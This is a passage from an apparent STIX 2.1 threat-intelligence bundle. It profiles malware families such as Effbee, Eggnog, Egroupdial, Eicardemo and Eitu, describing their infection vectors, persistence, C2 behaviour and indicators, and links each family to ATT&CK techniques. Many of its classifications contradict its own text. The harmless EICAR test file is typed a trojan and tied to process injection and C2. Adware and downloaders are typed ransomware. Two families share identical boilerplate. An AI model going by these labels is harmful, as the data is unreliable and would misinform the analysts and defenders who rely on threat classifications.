      "id": "relationship--6a8116a6-1e16-506e-b336-4fd06c90bee7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1990d250-9635-54fe-ac1d-a6c39dafd055",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Edeals exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27496822-da4b-5720-ac8b-4b913eb408c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1990d250-9635-54fe-ac1d-a6c39dafd055",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Edeals exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a3f08f75-7a92-5164-bb2c-7ed075773ac0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Effbee",
      "description": "<h3>Executive Summary</h3>\nEffbee is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nEffbee is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Effbee operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Effbee ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Effbee receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Effbee infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Effbee executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Effbee frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Effbee",
        "Downloader.Effbee",
        "Win32/Effbee"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Effbee",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/effbee"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--278dc396-f09f-51a5-bd91-72302e92977a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3f08f75-7a92-5164-bb2c-7ed075773ac0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Effbee exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95a4a12d-6968-5866-9eb0-fc9f8968712c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3f08f75-7a92-5164-bb2c-7ed075773ac0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Effbee exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc0b6f91-1d2d-5ca8-8212-b1e58eccb25a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3f08f75-7a92-5164-bb2c-7ed075773ac0",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Effbee exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f99eee46-4843-5186-be0e-cdae569b4cee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Eggnog",
      "description": "Trojan:Win32/Eggnog is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Eggnog</b><br>To an end-user, an Eggnog infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Eggnog is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Eggnog is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Eggnog frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Eggnog reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Eggnog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/eggnog"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8084e2b3-037b-5e15-940b-e425558a63cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f99eee46-4843-5186-be0e-cdae569b4cee",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eggnog exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e123e25-9cfb-5aa2-8574-15b19820b3bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f99eee46-4843-5186-be0e-cdae569b4cee",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eggnog exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac4f856d-b1ab-5cd2-972f-58dd817678d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f99eee46-4843-5186-be0e-cdae569b4cee",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eggnog exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6131245d-f848-56f4-965c-032276ce2595",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f99eee46-4843-5186-be0e-cdae569b4cee",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eggnog exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1495d259-dec4-5f2a-bfe4-5ffcf3fce144",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f99eee46-4843-5186-be0e-cdae569b4cee",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eggnog exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--36407a11-b909-5592-bd4d-1035b8580d14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Egroupdial",
      "description": "Dialer:Win32/Egroupdial represents a legacy classification of malware that was highly prevalent during the era of dial-up internet modems. It is designed to commit financial fraud by silently disconnecting a user's modem from their standard Internet Service Provider (ISP) and reconnecting it to a premium-rate international or adult-service phone number, generating massive, unauthorized charges on the victim's phone bill.<br><br><b>Understanding Dialer Malware</b><br>To an end-user in the early 2000s, an Egroupdial infection was often unnoticeable until they received a phone bill for thousands of dollars in international calls. While modern broadband (cable/fiber) is entirely immune to dialers because they do not use phone lines to route traffic, Dialers remain a critical historical case study in automated financial extortion and telecommunications fraud.<br><br><b>Execution and Dialing Mechanics</b><br>Egroupdial was typically distributed via deceptive 'free access' links on adult websites or bundled with pirated software (`T1189`). Upon execution (`T1204.002`), the malware establishes persistence and immediately interfaces with the Windows Telephony Application Programming Interface (TAPI) (`T1562.001`). It suppresses the modem speaker volume so the user cannot hear the dialing tones (`T1562.001`). It then terminates the active dial-up connection and initiates a new PPP (Point-to-Point Protocol) connection to a hardcoded, premium-rate phone number controlled by the malware authors (`T1498`), keeping the connection open as long as possible to maximize revenue.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is direct, massive financial loss for the user via their telecommunications provider. Technical IoCs on legacy systems included the creation of new, unauthorized Dial-Up Networking (DUN) profiles in the Windows Network Connections panel. Behavioral IoCs included the modem spontaneously disconnecting and reconnecting, and the modem speaker being permanently muted. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Egroupdial",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/egroupdial"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85d5bd5d-024e-5a7a-8b37-50c7d66b031c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36407a11-b909-5592-bd4d-1035b8580d14",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Egroupdial exhibits technique T1498 (Network Denial of Service (Legacy dialing fraud classification))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9775faa0-5f5e-5a84-940f-f5cdaf89998d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36407a11-b909-5592-bd4d-1035b8580d14",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Egroupdial exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Muting modem speakers to hide dialing))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be7a21f9-65a8-5208-9ad6-29df8f5a4cd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36407a11-b909-5592-bd4d-1035b8580d14",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Egroupdial exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2e9badc-51b8-57a6-aa8f-0707f904e017",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36407a11-b909-5592-bd4d-1035b8580d14",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Egroupdial exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6d13948e-00d4-5f2a-8e9d-b5b9057aaa7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ei0Frdaui",
      "description": "Trojan:Win32/Ei0frdaui (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Ei0frdaui' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names (e.g., `ajkf83nd.com`, `93kmdla.net`). The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ei0Frdaui",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ei0frdaui"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13d8ed01-2bd0-5ea6-b6ea-a284bb48dca4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d13948e-00d4-5f2a-8e9d-b5b9057aaa7a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ei0Frdaui exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8f08dcb-4114-5cb7-872d-52a345b4bc5e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d13948e-00d4-5f2a-8e9d-b5b9057aaa7a",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ei0Frdaui exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3142ef58-6e96-5342-9fbe-a90306a0b1b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d13948e-00d4-5f2a-8e9d-b5b9057aaa7a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ei0Frdaui exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--421f74f5-2009-5add-bd5e-24e405206422",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Eicardemo",
      "description": "<h3>Executive Summary</h3>\nEICAR Demo (or the EICAR Standard Anti-Virus Test File) is **NOT MALWARE**. It is a safe, standardized, and internationally recognized 68-byte text file developed by the European Institute for Computer Antivirus Research (EICAR) and the Computer Antivirus Research Organization (CARO). Its sole purpose is to safely test and verify the operational status, detection capabilities, and alerting mechanisms of antivirus (AV) software, Endpoint Detection and Response (EDR) solutions, and network security appliances without exposing the network to actual malicious code.\n\n<h3>Technical Capabilities (Safe Testing)</h3>\nThe EICAR test file is literally a short string of printable ASCII characters (`X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*`). It contains no malicious logic, cannot self-replicate, cannot access the network, and cannot harm the system in any way.\n\nHow it functions in a security context:\n<ul>\n<li><strong>Standardized Signature:</strong> All legitimate, commercial antivirus vendors have explicitly programmed their scanning engines to recognize this specific 68-byte string as a \"virus\" for testing purposes.</li>\n<li><strong>Validation of Defense in Depth:</strong> Security administrators deploy the EICAR file in various formats (e.g., plain text, compressed in a `.zip` archive, or embedded in an email) to verify that different layers of their security stack (email gateways, web proxies, endpoint AV) are functioning and successfully blocking malicious signatures.</li>\n<li><strong>Alerting Verification:</strong> It is frequently used during incident response drills to verify that when an endpoint detects malware, the alert successfully traverses the network and appears correctly in the centralized Security Information and Event Management (SIEM) dashboard.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThere is absolutely **ZERO THREAT** posed by the EICAR test file itself. However, if an administrator downloads the EICAR file and the local antivirus solution fails to detect it, that represents a critical security failure, indicating the AV engine is broken, disabled, or misconfigured.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>No Remediation Required (For the File):</strong> If the antivirus successfully detects and quarantines the EICAR file, the system is working as intended. The file can be safely deleted or left in quarantine.</li>\n<li><strong>Investigate Lack of Detection:</strong> If the EICAR file is downloaded and *not* detected, immediate IT intervention is required to troubleshoot the endpoint security software and restore its protective capabilities.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "EICAR_Test_File",
        "Test-File.EICAR",
        "Not-A-Virus:EICAR-Test-Signature"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Eicardemo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/eicardemo"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f8f9f9b-377b-50a4-8e81-73ed23fe15a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--421f74f5-2009-5add-bd5e-24e405206422",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eicardemo exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c408abb-a17d-5408-ab27-83395bb35cf8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--421f74f5-2009-5add-bd5e-24e405206422",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eicardemo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f896676-3ac4-5ded-b90d-f6d3d150c558",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--421f74f5-2009-5add-bd5e-24e405206422",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eicardemo exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f11e69c2-ff24-5bc1-b0f3-df984d78e5df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--421f74f5-2009-5add-bd5e-24e405206422",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eicardemo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--104c2390-3f99-54be-8673-19ff0f6a5834",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Eitu",
      "description": "Adware:Win32/Eitu is a highly intrusive adware family designed to hijack the user's web browsing experience. Its primary goal is monetization through forced ad impressions and affiliate link redirection. Eitu specifically targets the browser's core components, injecting advertisements directly into web pages and altering default search settings without user consent (`T1189`).<br><br><b>Understanding Eitu (Browser Hijacking)</b><br>To an end-user, Eitu makes the internet nearly unusable. Legitimate search results are replaced with sponsored links, random text on web pages is turned into hyperlinks, and large banner ads obscure actual content. For an IT department, Eitu is a security risk because the adware networks it uses are often compromised, serving as vectors for more severe malware like ransomware or credential stealers (malvertising).<br><br><b>Execution and Hijacking Mechanics</b><br>Eitu is typically distributed via pay-per-install (PPI) networks, bundled with freeware or deceptive 'update' prompts. Upon execution, it installs itself as a Windows Service or Scheduled Task to ensure persistence (`T1543.003`). It then drops malicious extensions into Chrome, Edge, and Firefox. To prevent easy removal, Eitu often modifies the Windows Registry (specifically the `ExtensionInstallForcelist` policies for Chrome/Edge) (`T1562.001`), locking the extension so the user cannot uninstall it via the browser UI.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized monetization of user data and exposure to secondary malware. Host-based IoCs include the presence of unexpected browser extensions (often with random alphanumeric IDs), unauthorized modifications to browser policy registry keys (`HKLM\\Software\\Policies\\Google\\Chrome`), and unexpected executables running from `%LocalAppData%`. Network IoCs involve constant, high-volume background HTTP/HTTPS requests to known advertising networks and tracking domains. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Eitu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/eitu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a15fe298-2a6f-5baa-b54c-c8885b749401",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--104c2390-3f99-54be-8673-19ff0f6a5834",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eitu exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14965164-60fc-549a-a20c-91533d96d386",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--104c2390-3f99-54be-8673-19ff0f6a5834",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eitu exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--907a9c0b-8acc-5739-93ac-e3ab6f9e54af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--104c2390-3f99-54be-8673-19ff0f6a5834",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eitu exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d144483c-1ff2-5bac-bcbe-62b3b628c82c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ekidoa",
      "description": "Trojan:Win32/Ekidoa is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ekidoa</b><br>To an end-user, an Ekidoa infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ekidoa is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ekidoa is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ekidoa frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ekidoa reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
